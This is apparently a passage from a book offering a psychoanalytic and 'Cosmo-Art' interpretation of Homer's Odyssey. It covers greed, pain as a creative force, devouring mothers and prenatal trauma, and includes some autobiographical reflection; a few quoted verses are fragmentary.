Christ. This is how the delirium of the oral megalomanic I goes on and on; this delirium belongs to all of us and not just to him. *** Living life as thieves is something that begins during the first relationship between mother and child. We are now living in a historical moment in which mothers nourish their children so they can devour them. Children who are devoured by their mothers become themselves devouring and greed spreads everywhere. Does anyone know how to cure greed? A child can be devoured in a thousand ways with a thousand different modalities. The most frequent of these is possessiveness and abandonment. But the
166
one that dominates every other is sadomasochism. The mother is first sadistic and devours, then she becomes masochistic and allows herself to be devoured. First the child is masochistic and allows itself to be devoured, then it becomes sadistic and devours. If it cannot devour it gets revenge anyway by becoming destructive. In this oral, consumer society, is there anyone who was not once devoured and does not devour today? I know that my mother devoured my life and that I was a prisoner of vengeful hatred towards her and towards myself. Then, once I discovered the importance of having a healthy love for myself, I changed my decision and I adopted new strategies. These strategies were sometimes very difficult and painful but they helped me get out of the infernal circle of devouring relationships and the need for revenge. I have had more than one devouring mother. With immense pain, day after day, I undertook the enormous effort to detach myself from them, first physically and existentially and then internally, by pulling them off of the most hidden folds of my being. Many times I manifested outside myself these devouring mothers, in situations that I created with my own two hands or that my SELF created for me. It was a hard journey, to learn to respect myself and to have others respect me, to create boundaries and impose limits. But it was even more difficult to learn how to go through the subtleties of masochistic pleasure, to dig them out, eliminate them and substitute them with healthy pleasure and a healthy relationship based on respect, on recognition of it as a gift and on reciprocity. If we don’t get out of devouring enmeshment we cannot reach the shores of the freedom of the Person, who is capable of loving him or herself and others, and to the freedom of the Artist, who is capable of creating beauty for his or her own joy and for the joy of others. Every day I try to learn about the passage from living life as a thief to living life as a gift, and, even before that, how to step away from greed so I can express reciprocity. I am speaking of myself so I can speak to you about you, with the hopes that someone will see themselves in me, not only because of what you have suffered but because of what you have chosen to do to leave behind your identity as one who was devoured and one who devours”. (see A.M. “La nascita della cosmo-art” {The Birth of Cosmo-Art} pgs. 25-27). *****
167
CHAPTER XXXI
GREED AS THE CAUSE OF HUMANITY’S SUFFERING
I was once convinced that the problems described previously had to do only with modern times, but as I read and re-read the Odyssey, I realized that there really is no substantial difference between modern times and the times in which the poem the Odyssey was written. Two-thousand six hundred years have gone by, and maybe even more, but what Homer wrote could easily be written today. This does not surprise me much, because the evolution of the universe takes place over billions of years and the evolution of humanity takes place over millions of years. In this perspective, 2,600 years are perhaps even less than two minutes and six seconds. This is why I believe that the Odyssey is a book of wisdom that can serve to guide our lives today just as it did to guide people’s lives in the past. Regarding greed, Homer takes a look at it when he tells us about Aegisthus, right at the beginning of the poem: “Ah, how much blame mortals put on the gods! They say their suffering comes from us, but instead it’s because of their mad crimes against duty that they suffer (Od. I, 32-34). And so now Aegisthus has taken against duty his woman the legitimate wife of Atreus’ son and killed him on his return, knowing of the abyss of death. Because we warned him, by sending sharp-eyed Hermes, not to kill him, not to covet the woman: because Orestes of Atreus’ house would get revenge when, once grown, he would miss his homeland. Hermes told him this, but he could not persuade Aegisthus’ heart with his wise council; now he has paid for everything!” (Od. I, 35-43) Aegisthus does not listen to Zeus’ wise advice, so Orestes will end up killing him. Aegisthus is overtaken by his greed for power and he wants to usurp Agamemnon’s place as king. He therefore first seduces Clytemnestra and then they end up killing Agamemnon and together they rule over Mycene until Orestes kills them both. Here Homer clearly says that evil comes to humans not because the gods are mean but because humans “act against duty”. it is because of their mad crimes against duty that they suffer. (Od. I, 34)
168
As far as the greed of Ulysses’ companions is concerned, Homer mentions it at the beginning of the poem. (Ulysses) suffered much pain in his heart while at sea, fighting for his life and for his men’s return home. But he could not save them, even though he wanted to, they were lost because of their own madness, foolish ones!, who ate the sun god’s cattle, and the Sun destroyed the day of their return (Od. I, 4-9). As far as Ulysses’ greed goes, Homer speaks of it in the way I described previously. And at the very beginning of the poem the greed of the Suitors is spoken of at length, when Athena reaches Ulysses’ palace so she can speak with Telemachus. This is an obvious sign that this is a theme that is very important to Homer and to the development of the entire poem. I would like to mention here that just as the Suitors have taken up residence in Ulysses’ house, what has taken over their home in external reality also lives within Ulysses and Penelope as well. Of the various principles that I have formulated, one of my favorite’s states: “ outer reality corresponds to inner reality”. It is never by chance when we find that what is invisible in our inner world is reproduced outside ourselves. *****
169
CHAPTER XXXII
THE PAIN OF OUR TRIALS
In verse 4 of book I Homer speaks of the great suffering that Ulysses goes through while at sea. In verse 34 he speaks of the suffering that is caused by the insane crimes committed by humans, like the one committed by Aegisthus when he killed Agamemnon, and like the one committed by Ulysses’ companions when, as a result of their madness, they ate the cattle sacred to the Sun. In the introduction Homer also states that Ulysses suffers because of the “trials” that he has to undergo. Suffering because of trials does not mean that Ulysses must undergo trials to see whether or not he can overcome them. It means, rather, that Ulysses was chosen to reach a goal and this goal requires accepting a lot of pain. (Ulysses) not even in Ithaca would I have escaped these trials (Od. I, 18) And later Ulysses speaks to Penelope of other trials: And meanwhile careful Odysseus spoke with his woman: “Oh woman, we are not yet at the end of all our trials, unfathomable effort still lies before me, long, bitter, that I must go through all the way. This is what Teireisias’ spirit predicted for me the day I descended into the house of Hades (Od. XXIII, 247-252) Here it is important to take note of the two different things that cause pain. One is the crimes human beings commit. The other is the trials human beings must face if they want to create beauty that makes them immortal and that renders the living organism that is this universe, which human beings are a part of, immortal. Ulysses and Penelope are not guilty of any crimes, thus it is due to another reason that pain is so much a part of their lives. The purpose of pain is creativity, as is written in the Manifest of Cosmo-Art. Its purpose is to create secondary beauty On one hand Zeus and on the other Poseidon fill Ulysses with much pain; “I want to push him yet again so he is filled with pain” says Poseidon (Od. V, 290), when he sees that Ulysses is about to reach the island of the Phaeacians and he stirs up a violent storm against him.
170
I will again quote the verses in which Homer, in Book V, insists repeatedly on describing the pain and mortal anguish that overtakes Ulysses, because I want to make sure that my readers do not forget about it, as do many of the writers who speak of Ulysses and mention only his deceit and his manipulation. 300 beneath your breast, it’s immortal: you won’t have to be afraid of pain or death any longer”. This is precious help but the storm still does not cease… … For two days and two nights; and in the swollen waves he drifted about, and often in his heart he saw death before him. And when Ulysses finally saw land he was taken over by fear 420 … that some god would send some huge monster against me from the abyss. He won’t have to fight the sea monster anymore but his suffering has not ended at all: … There were no safe ports for ships, no bays,
305 312
315
320
171: 445 “.
410
425
455
Why so much pain? Here the purpose of his pain is not to expiate, it is necessary to create a new Ulysses. Its purpose is to transform Ulysses from being a warrior who fights and risks his life to conquer ephemeral beauty (Helena, Menelaus’ adulterous wife) into becoming an artist who is able to create secondary beauty for himself and for the whole universe. Pain serves to create a new type of beauty that did not exist before (for example, the type that appears in the form of Nausicaa after Ulysses manages to land on the island of the Phaeacians). Nausicaa is an external apparition of the type of beauty that Ulysses has managed to create within himself after he has battled for three whole days against his hybris and against his repressed hatred. This happened while he was being smashed against the stormy waves and against the ragged cliffs, and Athena offered him wise advice.
172
Pain helps Ulysses transform his arrogant heart into a humble heart, as happens when Ulysses bows down before the Phaeacian queen Arete and asks her to help him. Pain is necessary to create the “glorious concordance” (Ulysses and Penelope that become one soul) and this is a true alchemical transformation. Pain is necessary to create an immortal soul, a new type of life that can forever fly from one universe to the next. Pain is necessary so the universe can obtain an immortal soul that will keep it alive forever, even when its space-time structure is dissolved, like the human body dissolves after its death. Stars dissolve as well but while they are alive they create light that does not dissolve when they die. Pain helps human beings become capable of incarnating into a new form of life. This life-form is no longer physical, it is made up of an immortal life that no longer depends on the space-time of this universe. Unfortunately, we are not aware of the fact that pain is a cosmic force that moves the world. No one taught us this and human beings, who are reactive by nature and who want to remain so for their whole life, know nothing about the cosmic potential contained in pain. They do not know that great art comes from pain and not only from talent and inspiration. The universe is the result of the pain of a great explosion that physicists call the “Big Bang”, but for physicists, who do not know that the universe is a living organism, pain pertains only to those beings that have biological life and not to the whole universe itself. Experience teaches us that pain is like a huge explosion, that first blows us apart and then, if we follow our inner wisdom, is transformed into a great work of art. This does not happen because of magic. It happens when we obtain the great ability to give a creative meaning to Life that can transform catastrophes into forms of life that are superior to those that existed before. It is normal to be afraid of pain and to want to run away from it. A coward is not someone who is afraid of pain, it is someone who does not know how to grasp the opportunities for growth that pain contains. Homer speaks openly of Ulysses’ fear when, during the storm, the nymph Ino asks Ulysses to abandon the raft and jump into the sea, and he resists and does not want to do it because he is afraid of losing the only security left to him. It is mentioned again during the massacre of the Suitors when Ulysses sees that the traitor Melantho is giving the Suitors weapons.
173
Then Odysseus’ heart and knees melted, when he saw them taking up weapons and grasping long poles in their hands: the feat seemed too great for him. (Od. XXII, 147-149) If instead human beings can listen to the wisdom that comes from their Personal SELF and the Cosmic SELF (Athena and Zeus), pain is part of our lives not because we must expiate, it actually helps us to create something new. Ulysses, the man “of the many woes” as Homer describes him, is able to grasp this wisdom and create immortal beauty for himself and the entire universe. It’s up to us whether we want to imitate him or not. The Cosmic SELF is not immortal, but if Ulysses accepts to make a fusion between human and cosmic forces, then the Cosmic SELF becomes immortal and so does he. *****
174
CHAPTER XXXIII
THE ISLAND OF THE PHAEACIANS
Alcinous, Demodocus and Ulysses. While Demodocus sings about the destruction of Troy, Ulysses is crying softly to himself and Alcinous becomes aware of it. When Alcinous asks Ulysses why he is crying, Ulysses answers: because the celestial gods have given me much anguish. But yet I also wonder: why is Ulysses crying? And why does he start crying just when they start narrating his glorious actions? The answer that Ulysses offers, even though it’s correct in the sense that it refers to his great suffering during his return to Ithaca, it is inappropriate at the time Demodocus is telling his story. So why does Ulysses start crying specifically in that moment and then does not cry when instead he tells about everything he had to go through? I don’t believe it is something that Homer overlooked. To the contrary, I believe that Homer is hoping that his readers will be very attentive and they will be able to understand what he is trying to say between the lines. And even if they don’t understand right away, they will at least be able to ask themselves what is happening and begin looking for a correct answer. The answer that came to me is that Homer, besides talking about Ulysses’ cunning, speaks also about his own cunning as a poet. He wants to underline more than just that Ulysses is the man of the many woes. He wants the reader to understand, or at least to wonder about, the profound meaning of these woes that animates the deeper theme found in his poem. Homer does not want Ulysses to be honored mostly for his cunning, he wants him to be honored for his ability to accept the pain that the celestial gods rain down on him and on his ability to give this pain a very special meaning. This meaning is what Zeus and Athena reveal to him during his voyage. Ulysses, being the attentive listener to Zeus’ advice that he is, becomes capable of grasping this meaning and of incorporating it into his own awareness. The “Manifesto della Cosmo-Art” {Manifest of Cosmo-Art} states that pain’s purpose is to create and not to expiate. It helps create the passage from an unfinished identity to an identity that is continuously more evolved: from an animal, reactive identity, to an artistic identity, that is capable of creating immortal beauty.
175
Two things surprise me while Ulysses is with Alcinous: the first is that Ulysses’ tears express the refusal of his I to accept this pain, so he cries and complains. The second is that, after this first moment, Ulysses takes the limelight from Demodocus and starts narrating in full detail all of his adventures and all his dramas, to the point where the king, queen and all the Phaeacian princes are rooted to their seats and would never want to stop listening to him. Ulysses’ story is created by his pain, Homer’s poem is created by his pain. From the pain sent down by the gods the beauty of a work of art is created; one work is poetry and the other is that special type of beauty that Ulysses will know how to create with Penelope, concordance between husband and wife. He wishes this concordance for Nausicaa as well, when she finds him soon after he washes up on shore after being shipwrecked. .... “may the gods bring you all the gifts your heart so desires a husband and a home may they bring you along with the glorious concordance along with them; nothing is more beautiful and more precious than this when with a single soul man and woman run their household; the malicious are rendered furious but their friends rejoice and they become well renowned” .... (Od. VI, 180-185) Without pain no true poetry can be created, without pain we could not have the story of Ulysses’ adventures and we would not have one of the key elements that must be reflected upon if we want to understand the Odyssey’s deeper meaning. For Buddha pain comes from desire and illusion. If we extinguish desire, pain will disappear. For the Bible, pain is the consequence of the wrong committed in Eden and , even when the Messiah will come there will be salvation from guilt but not from pain, which will continue to exist. Expiation will not end until the arrival of the Apocalypse, and pain is necessary to expiate. For Homer, pain is a cosmic force that serves to create a special type of beauty, the beauty that every human being dreams about and that is called immortality. The Greeks believed that only the gods could make humans immortal. We know that Circe and Calypso promise Ulysses immortality if only he will marry them. Ulysses refuses to do so. Ulysses thinks that this is not the right way to reach immortality, and that beyond the beauty of the gods lies a superior type of beauty that humans can achieve only by fusing pain, wisdom and art. The secret of true immortality is found within this type of beauty. Ulysses thinks that the gods cannot make humans immortal because in reality they are not themselves immortal, despite what the Greeks think and believe during his time.
176
Ulysses does not discover this truth right away, right after leaving Troy. His long wandering and his great suffering will allow him to put this truth together piece by piece, a truth that no other Greek hero has learned. In all of Greek mythology, which is very vast, there is no other personage that reasons like he does. Hercules obtains immortality with his twelve labors and he earns the right to stay up on Olympus with the celestial gods and goddesses. Even so, Homer shows us Hercules as another shadow among the shadows that wander around in Hades. The Greeks thought that military glory was a way to obtain immortality and they are not the only ones to think this. But Homer shows us Achilles in Hades, who is despairing because he is no longer alive. He also has him say that he would gladly exchange his glory for the life of any slave. Why doesn’t Ulysses choose to marry Circe or even Calypso? Why is his soul so set on returning to Ithaca, where Penelope awaits him? Many say it has to do with his homesickness. This is a very disappointing answer, that does not really find any confirmation in the facts of the story. Many Greeks emigrated to America and it does not seem to me that they all hope to leave America to return to Greece. The reason is because they are not really goddesses, they’re only mortal women, and their divinity is only a creation of the human mind. Does the light that leaves the stars and travels through the infinite spaces in the universe travel just so it can return home? I don’t think so. And yet if light comes from a star, that star is its home. Light does not feel nostalgia for its home and the star it was born from is not really its home. What is its home, then? Astrophysicists don’t really know. Nor do they know what the final destination of light is, that travels without ever stopping. Light is made up of photons. Photons are found inside of atoms. We are made up of atoms and our atoms contain many photons. Is it correct to say that we contain a lot of light? What is the home of human beings? What is our true return? Human beings are not simply emigrants, says Homer. Humans are creators and we travel to create beauty that does not yet exist.
177
Human beings suffer to create and it is not always clear what the final creation will be, what the final purpose for so much suffering will be. The silk worm weaves its web and thinks that it is creating it because the end goal is the creation of the cocoon it must go into so it can become a chrysalis and then a butterfly. What does the silk worm know about the type of beauty that human beings will create out of its silk? Shall we think like the worm does? Wouldn’t that be perfectly stupid? *** There are some coincidences in the story that Ulysses tells Alcinous and in the story that Homer tells us about the Phaeacians, and I would like to see whether they happen just by chance or if they instead hold some important truth. The first story tells about Ulysses, who, as soon as he leaves Troy loaded with booty worthy of royalty, goes ashore on the land of the Cicones. He sacks them as though he were not at all satisfied by the booty he conquered in Troy, and he is greedily looking for more. The Cicones, though, soon strengthen their ranks and Ulysses must escape as soon as possible with his ships. In chapter XII of my book The Ulysseans, I described my hypothesis that the Trojan war is about the battle that sperm must fight to penetrate the ovum and fecundate it, and that the Odyssey tells the story of the embryo’s development within the amniotic liquid. If this hypothesis is valid, then Ulysses’ arrival at the land of the Cicones would be the first landing of the fecundated ovum in the uterus. This ovum is also a voracious predator that attacks the mother’s uterus in search of food. The second landing is at the land of the lotus eaters and here we encounter the ovum’s voracity, on one hand, and its laziness on the other. The ovum is not always willing to make much of an effort to grow and to give life to a human organism which will be complete in all its parts and all its complexity. I believe that many ova wonder whether or not it is better to stay in a state of false inebriation and renounce life and all its difficulties. This would explain the great number of so-called spontaneous abortions (miscarriages). Ulysses instead reacts energetically and grabs his drugged companions and gets back on the ship to continue his voyage. What does he end up finding? Another way he could end his life that is even worse than the first one.
178
He winds up finding Polyphemus, the most violent of all the Cyclops. He is a gigantic monster with one eye who loves sheep and rams but hates men, whom he eats two at a time. We soon learn that Polyphemus is the son of Poseidon, the god of the sea. We also learn from Homer that the Phaeacians are also children of Poseidon. But just as Polyphemus is a monstrous barbarian, the Phaeacians have created an evolved, pacific, harmonious civilization that loves games, song and dance. The Cyclops wants to devour Ulysses and his companions, the Phaeacians want to save Ulysses, fill him with gifts and take him back to Ithaca on their fastest ship. It does not matter to them if doing so will bring out Poseidon’s rage, as does end up happening. With Zeus’ permission, the sea god first transforms the ship that has returned to port into a huge rock and then covers the whole city with a mountain. The golden world of the Phaeacians disappears, Nausicaa so full of grace and beauty disappears, Arete, who is a giving mother and not a devouring, phallic one, disappears. And what will have happened to Alcinous, who is a magnanimous, courteous king, sensitive to others, always careful to be “balanced” in all his actions and all his emotions? How can we understand why the Phaeacians make a decision that is so destructive for themselves just so they can help Ulysses? If we look at Melanie Klein’s work, who extensively studied the oral phase, we can understand some important things about the relationship that is established between mother and child. Through her clinical research, this author came to the conclusion that a child divides its mother in two within its fantasy: one half is represented by the good breast and the other represents the bad breast. The bad breast is bad because it does not want to give the child everything it needs and the child makes it the first object of its envy, its hatred and its destructiveness. This splitting the mother between good and bad can either mend itself at a certain point in the growth process or it can go on forever, if it is supported by other life circumstances. We could thus hypothesize that Ulysses, in his wanderings about the sea, continuously encounters the negative mother object. The first of these encounters happens with Polyphemus, who is Poseidon’s son. When he then arrives at the island of the Phaeacians, who are also Poseidon’s children, he encounters the positive mother object. Ulysses cannot lose the treasures given him by the Phaeacian king and princes, because they represent all the positive maternal attributes he has introjected within himself. When this splitting is overcome, there will no longer be monsters that must be faced. In the same measure, the positive mother object will no longer have any reason to exist as though it were in its own world as a split off entity.
179
Nor will there be any contradiction between Poseidon’s actions that first are hostile and later are benevolent and bring many gifts, and that both Polyphemus and the Phaeacians, who fill him with gifts, speak about. This process that here seems complete can be better observed in Ulysses’ encounters first with Circe and later with Calypso. These two women are goddesses, not monsters, but they are dangerous, powerful goddesses at that. As Homer points out, they are goddesses who would like to keep Ulysses imprisoned in their homes forever. In both cases Hermes comes to Ulysses’ aid and not only is Ulysses saved, but he manages to transform both of the women from bad to good. With the help of the “moly” herb that Hermes gives to Ulysses, the sorceress Circe’s potions no longer have any power over him. His companions are freed and Ulysses and Circe begin a love story that will last for a year. We finally see that Ulysses is able to enjoy the love a woman offers him and this had never happened before. We see how Circe offers Ulysses all of her knowledge, and she also gives him the impossible ability to descend into Hades while still alive. There he encounters Teireisias, who will tell him what his return to Ithaca will be like. Circe is ready to also give him immortality if Ulysses decides to marry her, but Ulysses refuses and the goddess lets him leave without any rancor. Here we see how it is possible to transform a negative mother into a positive one, a possessive mother into a giving one. With the goddess Calypso the process takes longer and the transformation takes place only at the very end, thanks to Zeus who intervenes after being exhorted by Athena to do so. He sends Hermes his messenger to free Ulysses from his prison on Ogygia. Calypso complains a bit and speaks about the gods’ envy, but she eventually gives in and teaches Ulysses how to build a raft and gives him the rules for nocturnal navigation at sea. This is a symbol of a second transformation of the negative mother into a positive one and it is the result of Ulysses acting together with his Personal SELF and the Cosmic SELF. This happens after having cried and prayed for many days on the cliffs overhanging the endless sea. I explain in chapter XVII, when I speak of intrauterine incest, why it took many years for this transformation to take place. This is the strongest bond that is established between mother and child as early as the prenatal phase.
180
It is not easy for a child to renounce all the types of complicity that are established between itself and the seductive, enchanting mother. It takes time to dissolve each one, one after another. Penelope, too, is in such complicity with the mother, and it becomes obvious in the great narcissistic pleasure she indulges in when she is surrounded by and courted by more than one hundred suitors. She says she would like to put an end to their arrogant, endless siege, but when she learns that Ulysses has killed them all she expresses no joy whatsoever. Even when she dreams of an eagle who kills her geese and Ulysses explains to her that the eagle is her husband who will soon come to kill the Suitors, Penelope, in her dream, cries over the death of her geese. While awake she gives no importance whatsoever to the interpretation that Ulysses offers of her dream. Is Penelope an adult woman, or is she still a child who depends on her mother? We all carry the split between good and bad mother to some extent. And we all carry a strong bond made of both love and hatred, where hatred binds her to us even more than love. We all want our freedom but we are afraid that if we lose the mother we will lose our base of security. Those who do not have the courage to make these painful separations from childish love and, especially, from repressed hatred, renounce their ability to become an adult a bit more every day, and they castrate all of their own potential. Whereas Klein attributes this relationship between mother and child to the oral phase, through my extensive experience I have come to the conclusion that it must be moved up to the prenatal phase. Homer had understood this 2,500 years ago. Winnicott affirms that there are no perfect mothers and it would already be something if we each could be assured a “sufficiently good mother”. It is also true that, objectively speaking, there are good mothers who suddenly become bad mothers who are willing to kill their own children, as does Medea to get revenge on Jason for betraying her. Many mothers do the same, as we can often see in the news. According to Cosmo-Art, the most important thing we must do is recognize the fact that our biological parents are only intermediaries between ourselves and Life. Life is our true mother and the Universe is our real father. We must center our lives around them, and not around our biological parents. It is also important to ask why we have the biological parents we have, and not better ones like we would have wanted. Nothing happens by chance, there is always a reason behind everything that
181
has to do with what it is we must learn from life, and what kind of beauty we are here to create. *****
182
CHAPTER XXXIV
WHO ARE THE PHAEACIANS, ANYWAY?
I think that the Phaeacians are the symbol of the happy, welcoming womb that we all would have liked to have had and that we did not find when we entered our own mother’s womb. The way that Ulysses gets there is very significant. When he is struck by a furious storm started by Poseidon, after having navigated for 18 days and 18 nights on the raft that he built with Calypso’s help, the nymph Ino, daughter of Cadmus, appears. She begs him to take off the elaborate robes the goddess had given him, to leave the raft and jump into the sea if he wants to save his life. (Isn’t the journey that the fecundated egg makes when it is going down the tubes and it enters the uterus turbulent and stormy?) First Ulysses does not want to listen to her, but then he decides to face the sea and try to reach land with the help of the veil Ino offers him. A terrible rocky cliff with sharp crags rises up before him and he realizes there is no way he can land. He is at great risk of being smashed to pieces, because the furious waves first smack him against the rocks and then the violent undertow grabs him and takes him back out to sea. The rocky coastline is impenetrable and Ulysses is once again overcome by a terrible fear of dying. Does the zygote feel the same type of anguish when it tries to attach itself to the uterine walls and finds that they are hard and sharp and are trying to push it away and reject it? While being thrown about, fortunately the marine currents drag Ulysses towards another part of the island and here he sees the mouth of a river. This is the special moment in which Ulysses can decide whether to continue living life as a thief, using his will power, or whether he will begin considering life a gift. The anguish he has gone through has tempered his hybris and Ulysses learns the wisdom of asking for the gift of his life, instead of continuing to impose his will and his arrogant demands like he has always done before (see A.M. “La vita come opera d’arte e la vita come dono spiegata in 41 film” {Life as a Work of Art and Life as a Gift explained in 41 films} Published by the Sophia University of Rome (S.U.R.), Rome, 1995).
183
It is a great passage indeed when we stop thinking that life is one of our rights, as we all tend to think, and instead begin to feel on a deep level that life is a gift and not a right. Ulysses humbly addresses the god of the river that he sees before him and begs him to be allowed to swim into its mouth. This is what he does and then, completely exhausted, he looks for a safe place underneath an olive tree, where he immediately falls to earth and goes to sleep. He wakes up the next morning, while not far from him Nausicaa’s servants play happily after having washed and hung out the laundry. To pass from living life as thieves to living life as a gift is like a second birth and in book VI Homer beautifully narrates how such a birth comes about. Nausicaa is life that is blossoming in all its splendor and Ulysses, his heart in his hand, goes toward this life that is offered him. It is completely unexpected and something he would have never believed possible, after two days of being in the storm and with death at his shoulder. Is this a dream or is it reality? Whether it is a dream or reality depends on us. It depends on whether after being humiliated by many trials we decide to open ourselves yet again with hope for a better life. It depends on whether or not we decide to abandon our infinite arrogant demands along with the pride of our megalomanic I , that demands to always know how our lives are going to turn out and rebels against anything that opposes our will, as though we were an absolute god from the moment of our conception onward. To go from hybris to humility, from thievery and arrogant demands to considering life a gift, from violence to tenderness, is not an easy passage. We all are born thieves and assassins and we hold on to a concept of justice that says that everything that goes the way we want it to is fair, and everything that opposes us is unfair. All of our hatred and anger originates and germinates on this unhealthy pillar and they damage life, ourselves and others on and on, into eternity. Ulysses says to Nausicaa the most beautiful words he has ever said to a)
184
Most certainly Ulysses meditated upon these words during the seven long years he spent in his prison on Ogygia. They contain all the meaning of life that he discovered as the essence of the goal of Life itself and of the Cosmos. To meld the I and the You of a man and woman into a single soul. To meld in a single soul the I and the You of the entire Universe. This is the alchemy that creates a synthesis of opposites and from this synthesis a new beauty and a new life, that will be immortal forever, can emerge. This is the meaning of life that Homer and Ulysses give to us. The birth of Aphrodite from the frothy waves is an important birth that has been celebrated for a long time by poets, sculptors and painters. But the birth of Ulysses before Nausicaa is a far more important one. The first birth celebrates ephemeral beauty, that is here today and gone tomorrow. The second celebrates the birth of an immortal type of beauty that can travel from one universe to the next, into eternity, without having to fear death anymore. This Universe was born so this type of beauty could be created; Ulysses and Penelope were born from Homer’s imagination so this type of beauty could be created. The birth of biological life is a beautiful miracle but it is a type of beauty that does not last. The birth of an artistic masterpiece is a miracle of beauty that lasts throughout the centuries, but it cannot travel from one universe to the next. The birth of Ulysses before Nausicaa is a miracle of beauty that has lasted for millennia, but it is a symbol of the type of birth that is a prelude to the birth of immortal life, that only the fusion of cosmic and human forces can create. Every living being and the entire universe tends towards creating this type of immortal life.
*****
185
CHAPTER XXXV
ULYSSES, FROM POWERLESSNESS TO HUMILITY THAT IS THE OPPOSITE OF HYBRIS.
I have wondered for a long time over how it is that Homer leads Ulysses to transform his arrogant heart into a humble one. The answer I have found is that this miracle happens as Ulysses learns to accept every situation where he is powerless throughout his long odyssey. Life oftentimes presents us with situations in which we are either slightly powerless or completely so. Human beings can react in a wide variety of ways. We can react with homicidal or suicidal urges, rebelling in every way, and we can react by deeply accepting these situations, bending our own will power and exploring humility. This second way is the one Ulysses chooses to take and in the following pages I will cite all the sections in the poem where this change can be seen. When on his ship Ulysses passes under the mountain where Scylla hides, Ulysses is completely powerless. He cannot defend himself from Scylla, who jumps suddenly from its cave and its six heads devour six of Ulysses’ companions in the blink of an eye. Circe had warned him that it was useless to use his sword against Scylla but Ulysses has already forgotten the warning. When Ulysses goes into Polyphemus’ cave he is not completely powerless, but he cannot stop Polyphemus from eating six of his companions, two at a time. His first reaction is rage and homicidal urges, but he manages to stop and think. By stopping he realizes that if he kills Polyphemus he will condemn everyone within the cave to death. When Ulysses reaches the island of the Laestrygonians, the Laestrygonians devour the crews from 11 of the ships in Ulysses’ fleet, and Ulysses can do nothing to stop them. Ulysses can only swallow the pain of this loss and escape as quickly as he can on the twelfth ship.
186
When Ulysses falls asleep at the tiller and his envious companions open the oxskin, which Aeolus had given him and that contained the winds that would be against him while sailing, the winds fly out in a second and his ship is thrown off course. They had just had a glimpse of the mountains of Ithaca, and after this happens the mountains disappear from view. Ulysses returns to Aeolus to ask that he give him the same gift again, but Aeolus does not hesitate to kick him out, which throws him into total despair and powerlessness. To rebel would not work, so he must accept all the humiliation and make use of it. Ulysses can defend himself from Circe and keep her from turning him into an animal, as she has already done to his companions by turning them into swine. He can also make sure his companions return to their human state. But if he hadn’t had help from Hermes he would have again been in a state of total powerlessness; he was wise to listen to Hermes, but had he not done so he too would have become a swine. When Ulysses passes in front of the island of the Sirens, since Circe had warned him he can save himself from the fatal attraction by having his companions tie him to the mast and plugging their ears with wax. When Ulysses goes through the strait where Charybdis is found, he can defend himself from the impetuous vortex by grabbing on to the branches of a fig tree. But when before he had passed by the mountain where Scylla was hiding, he had again been thrown into a situation of complete powerlessness. When after leaving Calypso’s island Ulysses is just about to reach the island of the Phaeacians, Poseidon attacks him with a terrible storm and Ulysses spends three days and three nights between life and death. The storm finally calms down but Ulysses is again faced with total powerlessness because he cannot avoid being smashed against the rocks and he cannot find a place to come to shore. He finally manages to do so when he overcomes his arrogance and humbly prays the river god to welcome him into his gravelly river bed. He also humbly prays the Phaeacian queen to help him, following Nausicaa’s and Athena’s advice: he throws himself at her knees and thus he finally finds a full welcome and will be able to have his dream come true and be taken home to Ithaca. And yet again, when Ulysses must face the violence of the Suitors, who have settled in his house and arrogantly devour his goods, Ulysses is at first in a state of powerlessness and he must withstand all the humiliations that the Suitors wish to inflict on him, without any possibility of reacting to them.
187
The Suitor’s plot to kill Ulysses, which is also Penelope’s plot, since she is the one who allows the potential assassins of her husband and son into her house, reminds me of what happened to me in my own prenatal experience. From the stories my mother often told me, I know with absolute certainty that she wanted me and how hard she tried so she could get pregnant. This does not mean that she then did not try more than once to kill me, due to her huge feelings of guilt. I deduct this from the fact that when I was six months old I almost died, because there were traces of arsenic in my mother’s milk. I didn’t die, but my skin, which was normally very white, suddenly became very dark, and it is still that way today even though I haven’t been out in the sun for years. During my long experience in human relationships, I have established intense friendships with dozens of people. Some of these, though, have tried to kill me physically (this happened when I was in Holland and I kept a man from being involuntarily committed to a psychiatric hospital by the parents of his wife, who was trying to get rid of her husband). Some others have specifically threatened to kill me and many others suddenly turned from being friends to enemies. They plotted to kill me not physically but in many other ways and this caused me immense pain. The fetus often has to withstand violence while in the mother’s womb. Mood changes that the mother goes through, caused either by painful situations that suddenly come upon her or by her feelings of rejection towards the baby, are perceived as violence by the fetus. How can we forget the beautiful book written by Marie Cardinal, “The Words to Say It”, where she tells about all her mother’s conscious attempts to abort her daughter? A child in the womb cannot defend itself from this type of violence, and has to suffer through it. Sometimes it can defend itself through defense mechanisms that allow it to repress and deny the pain and hatred that are caused by these sudden or prolonged types of violence. But when the child becomes an adolescent or an adult all these types of violence will rear up again in the form of existential trauma. The pain that will emerge is not pain that involves just the present, it is, above all, pain that originated in the past and that was only repressed and denied. While it may be true that Ulysses finds himself either totally or partially powerless and cannot defend himself in the way he would like from the violence perpetrated upon him by all the devouring, seductive, possessive, phallic and castrating mothers he encounters, the day does come when he can learn to transform
188
his hybris into profound humility. This happens after he has experienced thousands of painful situations, and has accepted them and transformed them into powerful tools that increase his strength and his internal power. He can thus fully express his cunning, his physical strength and his abilities as a warrior and can pass from powerlessness to personal power. He can then destroy the devouring, seductive, phallic and castrating mother in one fell swoop, and vindicate himself for all the wrongs done him and all the death threats that filled his life with anguish up to that point. Just as his pain over his powerlessness was once enormous, now his joy for being able to turn his relationship with his mother around becomes just as big. Just as before he was possessed, devoured and threatened with death, now he is the one who has power over his mother and he can decide to either destroy her or forgive her. Homer’s immense genius manages to show us both revenge and forgiveness within the same episode. The Suitors are massacred along with the servants who betrayed him by sleeping with them, but Penelope is forgiven, in contrast to the other version of the myth, in which she is instead killed as well. The Suitors don’t represent only arrogant demands and hybris. They also represent the devouring, phallic mother who believes she can determine her children’s right to live or die at will, by constantly manipulating them through seduction, blackmail and threats. It took Ulysses ten years to transform his arrogant heart into a humble heart. At that point it is he who has complete power over his life, instead of the omnipotent mother object. I also wonder what Penelope, who has a heart of stone, did to transform herself so that she, too, could obtain a humble heart. We know that her heart is of stone from Ulysses and Telemachus: Ulysses says: , 166-172) And Telemachus adds: Telemachus scolded her and said:
189
